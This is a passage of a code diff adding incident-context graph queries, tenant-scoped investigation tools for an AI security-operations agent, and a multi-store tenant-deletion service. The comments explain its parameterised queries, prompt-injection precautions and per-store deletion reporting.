+_DIMENSIONS: tuple[tuple[str, str, dict[str, int]], ...] = (
+ ("identities", _IDENTITY_CYPHER, {"limit": LIMIT_IDENTITIES}),
+ ("assets", _ASSET_CYPHER, {"limit": LIMIT_ASSETS, "vuln_limit": LIMIT_VULNS}),
+ ("cloud", _CLOUD_CYPHER, {"limit": LIMIT_CLOUD}),
+ ("business", _BUSINESS_CYPHER, {"limit": LIMIT_BUSINESS}),
+ ("threat", _THREAT_CYPHER, {"limit": LIMIT_THREAT}),
+)
+
+
+async def _run_dimension(session: Any, cypher: str, params: dict[str, Any]) -> list[dict[str, Any]]:
+ result = await session.run(cypher, **params)
+ rows = await result.data()
+ # Neo4j returns every RETURN key even when the OPTIONAL MATCH produced
+ # nothing, so a row can be entirely nulls. Dropping empty keys keeps the
+ # payload readable and stops a prompt rendering "manager: None".
+ return [{k: v for k, v in row.items() if v not in (None, [], "")} for row in rows]
+
+
+async def get_incident_context(
+ alert_id: str,
+ tenant_id: str,
+ *,
+ session: Any | None = None,
+) -> IncidentContext:
+ """Traverse an alert into all five context dimensions.
+
+ Dimensions run concurrently and independently: one failure names itself in
+ ``errors`` and the rest still return. An empty bundle with no errors means
+ the alert genuinely has no context, which is a different finding from a
+ graph that was unreachable.
+ """
+ context = IncidentContext(alert_id=alert_id, tenant_id=tenant_id)
+ # alert_id arrives from a URL path, so it is attacker-controlled and can
+ # forge log lines with CR/LF. Sanitised inline rather than via a helper:
+ # the taint tracker does not follow a helper across a function boundary,
+ # and this shape is the repo's documented convention.
+ safe_alert_id = str(alert_id).replace("\r", "").replace("\n", " ")[:120]
+
+ async def _gather(sess: Any) -> None:
+ base = {
+ "alert_id": alert_id,
+ "tenant_id": tenant_id,
+ "global_labels": list(GLOBAL_LABELS),
+ }
+
+ async def one(name: str, cypher: str, extra: dict[str, int]) -> tuple[str, Any]:
+ try:
+ rows = await asyncio.wait_for(
+ _run_dimension(sess, cypher, {**base, **extra}),
+ timeout=QUERY_TIMEOUT_SECONDS,
+ )
+ return name, rows
+ except TimeoutError:
+ logger.warning(
+ "incident_context.%s timed out after %.1fs alert=%s",
+ name,
+ QUERY_TIMEOUT_SECONDS,
+ safe_alert_id,
+ )
+ return name, TimeoutError(f"{name}: timeout")
+ except Exception as exc:
+ logger.warning(
+ "incident_context.%s failed alert=%s err=%s",
+ name,
+ safe_alert_id,
+ type(exc).__name__,
+ )
+ return name, exc
+
+ results = await asyncio.gather(*(one(name, cypher, extra) for name, cypher, extra in _DIMENSIONS))
+ for name, value in results:
+ if isinstance(value, Exception):
+ context.errors.append(f"{name} ({type(value).__name__})")
+ else:
+ setattr(context, name, value)
+
+ try:
+ if session is not None:
+ await _gather(session)
+ else:
+ async with get_session() as sess:
+ await _gather(sess)
+ except Exception as exc:
+ # The graph being unreachable must not be indistinguishable from an
+ # alert with no context.
+ context.errors.append(f"graph unavailable ({type(exc).__name__})")
+ logger.warning("incident_context.unavailable alert=%s err=%s", safe_alert_id, type(exc).__name__)
+
+ logger.info(
+ "incident_context alert=%s tenant=%s dimensions=%d partial=%s",
+ safe_alert_id,
+ tenant_id,
+ context.dimensions_resolved,
+ context.is_partial,
+ )
+ return context
diff --git a/services/api/app/services/investigation_tools.py b/services/api/app/services/investigation_tools.py
new file mode 100644
index 000000000..fed35ec7a
--- /dev/null
+++ b/services/api/app/services/investigation_tools.py
@@ -0,0 +1,545 @@
+"""Typed investigation primitives over the event lake.
+
+Pillar 2. The agent's toolset was four enrichment calls — extract IOCs, map to
+ATT&CK, look up a technique, enrich one indicator. That supports
+alert-enrich-summarise and nothing deeper. A real investigation pivots:
+
+ process on a host -> where else has that binary run -> who was logged in
+ -> where else did that account authenticate -> which other hosts saw the
+ same indicator -> what is the timeline across all of them
+
+Every hop needs the *previous* hop's answer as its input, which is what makes
+it an investigation rather than an enrichment.
+
+Two decisions shape this module.
+
+**The model never writes SQL.** Each tool takes typed arguments and composes a
+parameterised query here. Handing an LLM the lake SQL endpoint would put
+prompt-injectable text one step from the query planner, and the tenant
+predicate is the only thing standing between two customers' data.
+
+**A tool that has no data says so, and says why.** The lake stores what the
+connected connectors send. Mailbox activity, OAuth grants and parent-process
+lineage are not columns in ``aisoc.raw_events`` — no connector populates them
+today. The honest response is ``available: false`` naming the missing data
+class, not an empty result set. An empty result reads to a model as "I
+checked and there is nothing", which is how an investigation concludes benign
+on evidence it never had.
+"""
+
+from __future__ import annotations
+
+import logging
+import uuid
+from dataclasses import dataclass, field
+from typing import Any
+
+from app.db.clickhouse import execute_lake_query
+
+logger = logging.getLogger("aisoc.investigation_tools")
+
+LAKE_TABLE = "aisoc.raw_events"
+
+# Hard caps. An investigation tool is called by a model in a loop, so an
+# unbounded row count is both a cost and a context-window problem.
+MAX_ROWS = 200
+DEFAULT_ROWS = 50
+MAX_LOOKBACK_DAYS = 90
+DEFAULT_LOOKBACK_HOURS = 24
+
+#: Columns ``aisoc.raw_events`` actually has. Anything a tool wants that is
+#: not here cannot be answered, and the tool must say so rather than return
+#: an empty set.
+LAKE_COLUMNS = frozenset(
+ {
+ "tenant_id",
+ "event_time",
+ "event_id",
+ "connector_type",
+ "user_name",
+ "source_ip",
+ "dest_ip",
+ "src_port",
+ "dst_port",
+ "src_hostname",
+ "dst_hostname",
+ "process_name",
+ "file_path",
+ "hash_sha256",
+ "severity_id",
+ "protocol",
+ "mitre_techniques",
+ "mitre_tactics",
+ "iocs",
+ "raw_payload",
+ }
+)
+
+#: Data classes an investigation wants that nothing currently ingests.
+#: Declared rather than silently absent, so a tool can explain the gap.
+UNAVAILABLE_DATA: dict[str, str] = {
+ "process_tree": (
+ "Parent-process lineage is not stored: aisoc.raw_events has process_name "
+ "but no parent_process_name or process_guid. An EDR connector that emits "
+ "process lineage (CrowdStrike, Defender, SentinelOne) would populate it."
+ ),
+ "mailbox_activity": ("Mailbox events are not ingested. Connect a Microsoft 365 or Google " "Workspace audit connector."),
+ "oauth_grants": ("OAuth consent grants are not ingested. Connect an Entra ID or Okta " "system-log connector."),
+ "persistence": (
+ "Persistence mechanisms (run keys, scheduled tasks, launch agents, cron) "
+ "are not stored as a distinct data class. An EDR or osquery connector "
+ "would populate them."
+ ),
+}
+
+
+@dataclass
+class ToolResult:
+ """One tool's answer, including whether it could answer at all.
+
+ ``available=False`` is deliberately distinct from ``rows=[]``. The first
+ means the data class is not ingested; the second means it is ingested and
+ there was nothing matching. A model handed the same shape for both will
+ treat "we cannot see it" as "it did not happen".
+ """
+
+ tool: str
+ available: bool = True
+ rows: list[dict[str, Any]] = field(default_factory=list)
+ row_count: int = 0
+ truncated: bool = False
+ reason: str | None = None
+ query_description: str = ""
+
+ def as_dict(self) -> dict[str, Any]:
+ payload: dict[str, Any] = {
+ "tool": self.tool,
+ "available": self.available,
+ "row_count": self.row_count,
+ "rows": self.rows,
+ }
+ if self.truncated:
+ payload["truncated"] = True
+ payload["note"] = (
+ f"Result capped at {MAX_ROWS} rows. Narrow the time window or the "
+ f"entity to see the rest; do not treat this as the full set."
+ )
+ if self.reason:
+ payload["reason"] = self.reason
+ if self.query_description:
+ payload["query"] = self.query_description
+ return payload
+
+
+def unavailable(tool: str, data_class: str) -> ToolResult:
+ return ToolResult(
+ tool=tool,
+ available=False,
+ reason=UNAVAILABLE_DATA.get(data_class, f"{data_class} is not ingested by any connected connector."),
+ )
+
+
+def _clamp_rows(limit: int | None) -> int:
+ if not limit or limit < 1:
+ return DEFAULT_ROWS
+ return min(int(limit), MAX_ROWS)
+
+
+def _clamp_hours(hours: int | None) -> int:
+ if not hours or hours < 1:
+ return DEFAULT_LOOKBACK_HOURS
+ return min(int(hours), MAX_LOOKBACK_DAYS * 24)
+
+
+async def _run(
+ tool: str,
+ sql: str,
+ params: dict[str, Any],
+ *,
+ limit: int,
+ description: str,
+) -> ToolResult:
+ """Execute a composed query. Every caller goes through here.
+
+ The tenant predicate is bound as a parameter and is not optional: a tool
+ reaching this function without one is a bug, and the assertion makes it a
+ loud one rather than a cross-tenant read.
+ """
+ assert "tenant_id" in params, f"{tool}: composed a lake query with no tenant binding"
+ assert "%(tenant_id)s" in sql, f"{tool}: tenant predicate missing from SQL"
+
+ try:
+ result = await execute_lake_query(sql, params=params)
+ except Exception as exc:
+ logger.warning("investigation_tool.%s failed err=%s", tool, type(exc).__name__)
+ return ToolResult(
+ tool=tool,
+ available=False,
+ reason=f"Lake query failed ({type(exc).__name__}). This is a lookup failure, " f"not an absence of evidence.",
+ query_description=description,
+ )
+
+ columns = list(result.columns or [])
+ rows = [dict(zip(columns, row, strict=False)) for row in (result.rows or [])]
+ return ToolResult(
+ tool=tool,
+ rows=rows,
+ row_count=len(rows),
+ truncated=len(rows) >= limit,
+ query_description=description,
+ )
+
+
+# ── the tools ───────────────────────────────────────────────────────────────
+# Each takes typed arguments and composes its own parameterised SQL. None
+# accepts SQL, a column name, or an operator from the caller.
+
+
+async def process_activity(
+ tenant_id: uuid.UUID | str,
+ hostname: str,
+ *,
+ hours: int = DEFAULT_LOOKBACK_HOURS,
+ limit: int = DEFAULT_ROWS,
+) -> ToolResult:
+ """What executed on a host, most recent first."""
+ hours, limit = _clamp_hours(hours), _clamp_rows(limit)
+ sql = f"""
+ SELECT event_time, process_name, file_path, hash_sha256, user_name, connector_type
+ FROM {LAKE_TABLE}
+ WHERE tenant_id = %(tenant_id)s
+ AND src_hostname = %(hostname)s
+ AND process_name != ''
+ AND event_time >= now() - INTERVAL %(hours)s HOUR
+ ORDER BY event_time DESC
+ LIMIT %(limit)s
+ """
+ return await _run(
+ "process_activity",
+ sql,
+ {"tenant_id": str(tenant_id), "hostname": hostname, "hours": hours, "limit": limit},
+ limit=limit,
+ description=f"processes on {hostname} in the last {hours}h",
+ )
+
+
+async def historical_execution(
+ tenant_id: uuid.UUID | str,
+ *,
+ process_name: str | None = None,
+ sha256: str | None = None,
+ days: int = 30,
+ limit: int = DEFAULT_ROWS,
+) -> ToolResult:
+ """Where else this binary has run, across the fleet.
+
+ The pivot that turns "suspicious process on one host" into "this binary
+ first appeared on three hosts this morning".
+ """
+ if not process_name and not sha256:
+ return ToolResult(
+ tool="historical_execution",
+ available=False,
+ reason="Supply either process_name or sha256.",
+ )
+ days = min(max(int(days or 30), 1), MAX_LOOKBACK_DAYS)
+ limit = _clamp_rows(limit)
+
+ clause = "hash_sha256 = %(sha256)s" if sha256 else "process_name = %(process_name)s"
+ sql = f"""
+ SELECT src_hostname, user_name, min(event_time) AS first_seen,
+ max(event_time) AS last_seen, count() AS executions
+ FROM {LAKE_TABLE}
+ WHERE tenant_id = %(tenant_id)s
+ AND {clause}
+ AND event_time >= now() - INTERVAL %(days)s DAY
+ GROUP BY src_hostname, user_name
+ ORDER BY first_seen ASC
+ LIMIT %(limit)s
+ """
+ return await _run(
+ "historical_execution",
+ sql,
+ {
+ "tenant_id": str(tenant_id),
+ "sha256": sha256 or "",
+ "process_name": process_name or "",
+ "days": days,
+ "limit": limit,
+ },
+ limit=limit,
+ description=f"executions of {sha256 or process_name} across the fleet, last {days}d",
+ )
+
+
+async def network_connections(
+ tenant_id: uuid.UUID | str,
+ *,
+ hostname: str | None = None,
+ source_ip: str | None = None,
+ hours: int = DEFAULT_LOOKBACK_HOURS,
+ limit: int = DEFAULT_ROWS,
+) -> ToolResult:
+ """Outbound connections from a host or address."""
+ if not hostname and not source_ip:
+ return ToolResult(
+ tool="network_connections",
+ available=False,
+ reason="Supply either hostname or source_ip.",
+ )
+ hours, limit = _clamp_hours(hours), _clamp_rows(limit)
+ clause = "src_hostname = %(hostname)s" if hostname else "source_ip = %(source_ip)s"
+ sql = f"""
+ SELECT dest_ip, dst_hostname, dst_port, protocol,
+ count() AS connections, max(event_time) AS last_seen
+ FROM {LAKE_TABLE}
+ WHERE tenant_id = %(tenant_id)s
+ AND {clause}
+ AND dest_ip != ''
+ AND event_time >= now() - INTERVAL %(hours)s HOUR
+ GROUP BY dest_ip, dst_hostname, dst_port, protocol
+ ORDER BY connections DESC
+ LIMIT %(limit)s
+ """
+ return await _run(
+ "network_connections",
+ sql,
+ {
+ "tenant_id": str(tenant_id),
+ "hostname": hostname or "",
+ "source_ip": source_ip or "",
+ "hours": hours,
+ "limit": limit,
+ },
+ limit=limit,
+ description=f"connections from {hostname or source_ip} in the last {hours}h",
+ )
+
+
+async def authentication_events(
+ tenant_id: uuid.UUID | str,
+ user_name: str,
+ *,
+ hours: int = 168,
+ limit: int = DEFAULT_ROWS,
+) -> ToolResult:
+ """Where and from what addresses an account authenticated.
+
+ The source of an impossible-travel finding: distinct source addresses for
+ one account inside a window too short to have travelled.
+ """
+ hours, limit = _clamp_hours(hours), _clamp_rows(limit)
+ sql = f"""
+ SELECT event_time, source_ip, src_hostname, connector_type, severity_id
+ FROM {LAKE_TABLE}
+ WHERE tenant_id = %(tenant_id)s
+ AND user_name = %(user_name)s
+ AND source_ip != ''
+ AND event_time >= now() - INTERVAL %(hours)s HOUR
+ ORDER BY event_time DESC
+ LIMIT %(limit)s
+ """
+ return await _run(
+ "authentication_events",
+ sql,
+ {"tenant_id": str(tenant_id), "user_name": user_name, "hours": hours, "limit": limit},
+ limit=limit,
+ description=f"authentication events for {user_name} in the last {hours}h",
+ )
+
+
+async def fleet_ioc_hunt(
+ tenant_id: uuid.UUID | str,
+ indicator: str,
+ *,
+ days: int = 30,
+ limit: int = DEFAULT_ROWS,
+) -> ToolResult:
+ """Every host that has seen an indicator.
+
+ The hop that finds the second compromised machine.
+ """
+ days = min(max(int(days or 30), 1), MAX_LOOKBACK_DAYS)
+ limit = _clamp_rows(limit)
+ # The indicator can appear in any of several columns depending on which
+ # connector observed it, so all are checked. Each is a bound parameter.
+ sql = f"""
+ SELECT src_hostname, user_name, connector_type,
+ min(event_time) AS first_seen, max(event_time) AS last_seen,
+ count() AS hits
+ FROM {LAKE_TABLE}
+ WHERE tenant_id = %(tenant_id)s
+ AND event_time >= now() - INTERVAL %(days)s DAY
+ AND (
+ source_ip = %(indicator)s
+ OR dest_ip = %(indicator)s
+ OR dst_hostname = %(indicator)s
+ OR hash_sha256 = %(indicator)s
+ OR has(iocs, %(indicator)s)
+ )
+ GROUP BY src_hostname, user_name, connector_type
+ ORDER BY first_seen ASC
+ LIMIT %(limit)s
+ """
+ return await _run(
+ "fleet_ioc_hunt",
+ sql,
+ {"tenant_id": str(tenant_id), "indicator": indicator, "days": days, "limit": limit},
+ limit=limit,
+ description=f"hosts that observed {indicator} in the last {days}d",
+ )
+
+
+async def entity_timeline(
+ tenant_id: uuid.UUID | str,
+ *,
+ hostname: str | None = None,
+ user_name: str | None = None,
+ hours: int = DEFAULT_LOOKBACK_HOURS,
+ limit: int = DEFAULT_ROWS,
+) -> ToolResult:
+ """Everything touching one entity, in order. The reconstruction step."""
+ if not hostname and not user_name:
+ return ToolResult(
+ tool="entity_timeline",
+ available=False,
+ reason="Supply either hostname or user_name.",
+ )
+ hours, limit = _clamp_hours(hours), _clamp_rows(limit)
+ clause = "src_hostname = %(hostname)s" if hostname else "user_name = %(user_name)s"
+ sql = f"""
+ SELECT event_time, connector_type, user_name, src_hostname,
+ process_name, source_ip, dest_ip, severity_id, mitre_techniques
+ FROM {LAKE_TABLE}
+ WHERE tenant_id = %(tenant_id)s
+ AND {clause}
+ AND event_time >= now() - INTERVAL %(hours)s HOUR
+ ORDER BY event_time ASC
+ LIMIT %(limit)s
+ """
+ return await _run(
+ "entity_timeline",
+ sql,
+ {
+ "tenant_id": str(tenant_id),
+ "hostname": hostname or "",
+ "user_name": user_name or "",
+ "hours": hours,
+ "limit": limit,
+ },
+ limit=limit,
+ description=f"timeline for {hostname or user_name} over the last {hours}h",
+ )
+
+
+async def technique_activity(
+ tenant_id: uuid.UUID | str,
+ technique_id: str,
+ *,
+ days: int = 7,
+ limit: int = DEFAULT_ROWS,
+) -> ToolResult:
+ """Other events mapped to the same ATT&CK technique.
+
+ Answers "is this an isolated behaviour or a pattern", which is often the
+ difference between a true positive and a noisy rule.
+ """
+ days = min(max(int(days or 7), 1), MAX_LOOKBACK_DAYS)
+ limit = _clamp_rows(limit)
+ sql = f"""
+ SELECT src_hostname, user_name, connector_type,
+ count() AS events, max(event_time) AS last_seen
+ FROM {LAKE_TABLE}
+ WHERE tenant_id = %(tenant_id)s
+ AND has(mitre_techniques, %(technique_id)s)
+ AND event_time >= now() - INTERVAL %(days)s DAY
+ GROUP BY src_hostname, user_name, connector_type
+ ORDER BY events DESC
+ LIMIT %(limit)s
+ """
+ return await _run(
+ "technique_activity",
+ sql,
+ {"tenant_id": str(tenant_id), "technique_id": technique_id, "days": days, "limit": limit},
+ limit=limit,
+ description=f"activity mapped to {technique_id} in the last {days}d",
+ )
+
+
+# ── tools that cannot be answered from what is ingested ─────────────────────
+# Present rather than absent, because a model that finds no process-tree tool
+# will pivot to whatever tool it does have and present the result as lineage.
+# An explicit "not ingested, connect an EDR connector" is both truthful and
+# actionable.
+
+
+async def process_tree(tenant_id: uuid.UUID | str, hostname: str, pid: int | None = None) -> ToolResult:
+ return unavailable("process_tree", "process_tree")
+
+
+async def mailbox_activity(tenant_id: uuid.UUID | str, user_name: str) -> ToolResult:
+ return unavailable("mailbox_activity", "mailbox_activity")
+
+
+async def oauth_grants(tenant_id: uuid.UUID | str, user_name: str) -> ToolResult:
+ return unavailable("oauth_grants", "oauth_grants")
+
+
+async def persistence_mechanisms(tenant_id: uuid.UUID | str, hostname: str) -> ToolResult:
+ return unavailable("persistence_mechanisms", "persistence")
+
+
+#: Name -> coroutine. The dispatch table the API endpoint and the agent
+#: registry both read, so the two cannot drift.
+TOOLS: dict[str, Any] = {
+ "process_activity": process_activity,
+ "historical_execution": historical_execution,
+ "network_connections": network_connections,
+ "authentication_events": authentication_events,
+ "fleet_ioc_hunt": fleet_ioc_hunt,
+ "entity_timeline": entity_timeline,
+ "technique_activity": technique_activity,
+ "process_tree": process_tree,
+ "mailbox_activity": mailbox_activity,
+ "oauth_grants": oauth_grants,
+ "persistence_mechanisms": persistence_mechanisms,
+}
+
+#: Tools backed by real lake columns today. The rest report why they cannot
+#: answer. Kept explicit so the split is reviewable rather than inferred.
+BACKED_TOOLS = frozenset(
+ {
+ "process_activity",
+ "historical_execution",
+ "network_connections",
+ "authentication_events",
+ "fleet_ioc_hunt",
+ "entity_timeline",
+ "technique_activity",
+ }
+)
+
+
+async def dispatch(name: str, tenant_id: uuid.UUID | str, args: dict[str, Any]) -> ToolResult:
+ """Run one tool by name with the caller's tenant.
+
+ ``tenant_id`` is supplied by the authenticated request, never by the
+ model: a tool argument named tenant_id would be the one parameter worth
+ prompt-injecting.
+ """
+ fn = TOOLS.get(name)
+ if fn is None:
+ return ToolResult(
+ tool=name,
+ available=False,
+ reason=f"Unknown tool {name!r}. Available: {', '.join(sorted(TOOLS))}",
+ )
+ safe_args = {k: v for k, v in (args or {}).items() if k != "tenant_id"}
+ try:
+ return await fn(tenant_id, **safe_args)
+ except TypeError as exc:
+ return ToolResult(
+ tool=name,
+ available=False,
+ reason=f"Invalid arguments for {name}: {exc}",
+ )
diff --git a/services/api/app/services/tenant_deletion.py b/services/api/app/services/tenant_deletion.py
new file mode 100644
index 000000000..3596710d5
--- /dev/null
+++ b/services/api/app/services/tenant_deletion.py
@@ -0,0 +1,330 @@
+"""Tenant offboarding: erase one tenant from every store that holds its data.
+
+There was no deletion path. ``DELETE FROM tenants`` relies on foreign-key
+cascade, and 14 of the 72 tenant-scoped tables never declared one — including
+``aisoc_institutional_memory`` (an offboarded customer's behavioural priors),
+``aisoc_compliance_evidence`` and ``aisoc_kb_documents``. Those rows outlive
+the tenant silently, which is a deletion-request problem rather than an
+untidiness problem. The lake, graph and vector stores had no deletion path at
+all.
+
+Two design choices carry most of the value here.
+
+**The Postgres table list is discovered at runtime**, from
+``information_schema``, rather than being a constant someone must remember to
+extend. A hardcoded list is correct on the day it is written and wrong at the
+next migration, and the failure is invisible: deletion reports success while
+leaving rows behind. Discovery means a new tenant-scoped table is covered the
+moment it exists.
+
+**Every store reports independently.** A tenant is only erased when all of
+them succeeded, so a Neo4j outage cannot produce a "deleted" result while the
+graph still holds the estate. The caller gets per-store counts and errors, and
+``DeletionReport.complete`` is false if anything failed.
+
+Deletion is irreversible and cross-tenant by nature, so the caller is
+responsible for authorisation. ``dry_run=True`` (the default) counts without
+deleting, because the first question anyone asks is "what exactly will this
+remove".
+"""
+
+from __future__ import annotations
+
+import logging
+import uuid
+from dataclasses import dataclass, field
+
+import httpx
+from redis.asyncio import from_url as redis_from_url
+from sqlalchemy import text
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from app.core.config import settings
+from app.db.clickhouse import execute_lake_query
+from app.db.neo4j import get_session as neo4j_session
+
+logger = logging.getLogger("aisoc.tenant_deletion")
+
+# Discovered per run, but the tenants row itself must go last — deleting it
+# first would cascade some tables out from under the count we are reporting.
+_TENANTS_TABLE = "tenants"
+
+# Reference data that is intentionally global (MITRE technique nodes, public
+# threat-intel) must survive an offboarding. Everything else scoped to the
+# tenant goes.
+_GLOBAL_GRAPH_LABELS = ("Technique", "Tactic", "Mitigation", "Malware", "ThreatActor")
+
+
+@dataclass
+class StoreResult:
+ store: str
+ rows: int = 0
+ detail: dict[str, int] = field(default_factory=dict)
+ error: str | None = None
+ skipped: str | None = None
+
+ @property
+ def ok(self) -> bool:
+ return self.error is None
+
+
+@dataclass
+class DeletionReport:
+ tenant_id: uuid.UUID
+ dry_run: bool
+ stores: list[StoreResult] = field(default_factory=list)
+
+ @property
+ def complete(self) -> bool:
+ """True only when every store that holds data succeeded.
+
+ A skipped store (not configured in this deployment) does not block
+ completion; a failed one does. Reporting a partial erase as complete
+ is the failure mode that turns a deletion request into a breach.
+ """
+ return all(s.ok for s in self.stores)
+
+ @property
+ def total_rows(self) -> int:
+ return sum(s.rows for s in self.stores)
+
+ def as_dict(self) -> dict[str, object]:
+ return {
+ "tenant_id": str(self.tenant_id),
+ "dry_run": self.dry_run,
+ "complete": self.complete,
+ "total_rows": self.total_rows,
+ "stores": [
+ {
+ "store": s.store,
+ "rows": s.rows,
+ "detail": s.detail,
+ "error": s.error,
+ "skipped": s.skipped,
+ }
+ for s in self.stores
+ ],
+ }
+
+
+async def discover_tenant_tables(db: AsyncSession) -> list[str]:
+ """Every table in the public schema with a ``tenant_id`` column.
+
+ Discovered rather than declared so a migration cannot silently add a
+ tenant-scoped table that offboarding then misses.
+ """
+ rows = await db.execute(
+ text(
+ "SELECT c.table_name FROM information_schema.columns c "
+ "JOIN information_schema.tables t "
+ " ON t.table_schema = c.table_schema AND t.table_name = c.table_name "
+ "WHERE c.table_schema = 'public' "
+ " AND c.column_name = 'tenant_id' "
+ " AND t.table_type = 'BASE TABLE' "
+ "ORDER BY c.table_name"
+ )
+ )
+ return [r[0] for r in rows.fetchall()]
+
+
+async def purge_postgres(db: AsyncSession, tenant_id: uuid.UUID, *, dry_run: bool) -> StoreResult:
+ result = StoreResult(store="postgres")
+ try:
+ # Cross-tenant by design, and the predicate below is explicit, so RLS
+ # would only be able to hide rows we are required to delete.
+ await db.execute(text("SET LOCAL row_security = off"))
+ tables = await discover_tenant_tables(db)
+
+ for table in tables:
+ if table == _TENANTS_TABLE:
+ continue
+ # Identifiers cannot be bound, so they are restricted to what
+ # information_schema returned — never caller input.
+ if not table.replace("_", "").isalnum():
+ raise ValueError(f"refusing to touch unexpected table name: {table!r}")
+
+ count = (
+ await db.execute(
+ text(f"SELECT count(*) FROM {table} WHERE tenant_id = :t"),
+ {"t": str(tenant_id)},
+ )
+ ).scalar_one()
+ if not count:
+ continue
+ result.detail[table] = int(count)
+ result.rows += int(count)
+ if not dry_run:
+ await db.execute(
+ text(f"DELETE FROM {table} WHERE tenant_id = :t"),
+ {"t": str(tenant_id)},
+ )
+
+ tenant_rows = (await db.execute(text("SELECT count(*) FROM tenants WHERE id = :t"), {"t": str(tenant_id)})).scalar_one()
+ if tenant_rows:
+ result.detail[_TENANTS_TABLE] = int(tenant_rows)
+ result.rows += int(tenant_rows)
+ if not dry_run:
+ await db.execute(text("DELETE FROM tenants WHERE id = :t"), {"t": str(tenant_id)})
+ except Exception as exc:
+ result.error = f"{type(exc).__name__}: {exc}"
+ logger.warning("tenant_deletion.postgres_failed tenant=%s err=%s", tenant_id, type(exc).__name__)
+ return result
+
+
+async def purge_lake(tenant_id: uuid.UUID, *, dry_run: bool) -> StoreResult:
+ """Erase the tenant's rows from the ClickHouse event lake."""
+ result = StoreResult(store="clickhouse")
+ tid = str(uuid.UUID(str(tenant_id)))
+ try:
+ counted = await execute_lake_query(f"SELECT count() FROM aisoc.raw_events WHERE tenant_id = '{tid}'")
+ result.rows = int(counted.rows[0][0]) if counted.rows else 0
+ if result.rows and not dry_run:
+ await execute_lake_query(
+ f"ALTER TABLE aisoc.raw_events DELETE WHERE tenant_id = '{tid}'",
+ extra_settings={"mutations_sync": 1},
+ )
+ except Exception as exc:
+ result.error = f"{type(exc).__name__}: {exc}"
+ logger.warning("tenant_deletion.lake_failed tenant=%s err=%s", tenant_id, type(exc).__name__)
+ return result
+
+
+async def purge_graph(tenant_id: uuid.UUID, *, dry_run: bool) -> StoreResult:
+ """Erase the tenant's nodes from Neo4j, keeping global reference data.
+
+ The Go writer MERGEs entities on ``natural_key`` with ``tenant_id`` as a
+ property, so a shared node (a public IP seen by two tenants) carries the
+ last writer's tenant. Deleting by tenant property is therefore the only
+ available scope, and can remove a node another tenant also referenced.
+ That is the safe direction for a deletion request: the node re-creates on
+ the other tenant's next ingest, whereas leaving it would mean the
+ offboarded tenant's data persists.
+ """
+ result = StoreResult(store="neo4j")
+ labels = "|".join(_GLOBAL_GRAPH_LABELS)
+ try:
+ async with neo4j_session() as session:
+ counted = await session.run(
+ f"MATCH (n) WHERE n.tenant_id = $t AND NOT n:{labels} " "RETURN count(n) AS c",
+ t=str(tenant_id),
+ )
+ record = await counted.single()
+ result.rows = int(record["c"]) if record else 0
+ if result.rows and not dry_run:
+ # DETACH so relationships go with the node rather than
+ # blocking the delete. Batched: a large estate in one
+ # transaction is how a Neo4j offboarding runs out of heap.
+ while True:
+ deleted = await session.run(
+ f"MATCH (n) WHERE n.tenant_id = $t AND NOT n:{labels} " "WITH n LIMIT 10000 DETACH DELETE n RETURN count(n) AS c",
+ t=str(tenant_id),
+ )
+ row = await deleted.single()
+ if not row or not int(row["c"]):
+ break
+ except Exception as exc:
+ result.error = f"{type(exc).__name__}: {exc}"
+ logger.warning("tenant_deletion.graph_failed tenant=%s err=%s", tenant_id, type(exc).__name__)
+ return result
+
+
+async def purge_vectors(tenant_id: uuid.UUID, *, dry_run: bool) -> StoreResult:
+ """Erase the tenant's points from Qdrant.
+
+ Public feed intel is global by design and carries no ``tenant_id`` in its
+ payload, so a tenant-filtered delete leaves it alone.
+ """
+ result = StoreResult(store="qdrant")
+ if getattr(settings, "AISOC_DISABLE_QDRANT", False):
+ result.skipped = "AISOC_DISABLE_QDRANT is set"
+ return result
+
+ base = str(getattr(settings, "QDRANT_URL", "") or "").rstrip("/")
+ if not base:
+ result.skipped = "QDRANT_URL is not configured"
+ return result
+
+ filter_body = {"filter": {"must": [{"key": "tenant_id", "match": {"value": str(tenant_id)}}]}}
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ collections = (await client.get(f"{base}/collections")).json()
+ names = [c["name"] for c in collections.get("result", {}).get("collections", [])]
+
+ for name in names:
+ counted = await client.post(f"{base}/collections/{name}/points/count", json=filter_body)
+ count = int(counted.json().get("result", {}).get("count", 0))
+ if not count:
+ continue
+ result.detail[name] = count
+ result.rows += count
+ if not dry_run:
+ response = await client.post(
+ f"{base}/collections/{name}/points/delete?wait=true",
+ json=filter_body,
+ )
+ response.raise_for_status()
+ except Exception as exc:
+ result.error = f"{type(exc).__name__}: {exc}"
+ logger.warning("tenant_deletion.qdrant_failed tenant=%s err=%s", tenant_id, type(exc).__name__)
+ return result
+
+
+async def purge_cache(tenant_id: uuid.UUID, *, dry_run: bool) -> StoreResult:
+ """Erase the tenant's Redis keys (``tenant:{id}:*``)."""
+ result = StoreResult(store="redis")
+ try:
+ url = str(getattr(settings, "REDIS_URL", "") or "")
+ if not url:
+ result.skipped = "REDIS_URL is not configured"
+ return result
+ client = redis_from_url(url, decode_responses=True)
+ try:
+ async for key in client.scan_iter(match=f"tenant:{tenant_id}:*", count=500):
+ result.rows += 1
+ if not dry_run:
+ await client.delete(key)
+ finally:
+ await client.aclose()
+ except Exception as exc:
+ result.error = f"{type(exc).__name__}: {exc}"
+ logger.warning("tenant_deletion.redis_failed tenant=%s err=%s", tenant_id, type(exc).__name__)
+ return result
+
+
+async def delete_tenant(
+ db: AsyncSession,
+ tenant_id: uuid.UUID,
+ *,
+ dry_run: bool = True,
+) -> DeletionReport:
+ """Erase a tenant from every store. Irreversible when ``dry_run`` is false.
+
+ Ordering matters: the satellite stores go first, and Postgres last. If the
+ tenant row were removed first and a later store failed, the operator would
+ be left with orphaned data and no tenant record naming who it belonged to.
+ """
+ report = DeletionReport(tenant_id=tenant_id, dry_run=dry_run)
+
+ report.stores.append(await purge_lake(tenant_id, dry_run=dry_run))
+ report.stores.append(await purge_graph(tenant_id, dry_run=dry_run))
+ report.stores.append(await purge_vectors(tenant_id, dry_run=dry_run))
+ report.stores.append(await purge_cache(tenant_id, dry_run=dry_run))
+ report.stores.append(await purge_postgres(db, tenant_id, dry_run=dry_run))
+
+ if not dry_run:
+ if report.complete:
+ await db.commit()
+ else:
+ # Leaving Postgres intact keeps the tenant record that names the
+ # data still sitting in whichever store failed.
+ await db.rollback()
+
+ logger.info(
+ "tenant_deletion %s tenant=%s rows=%d complete=%s failed=%s",
+ "preview" if dry_run else "applied",
+ tenant_id,
+ report.total_rows,
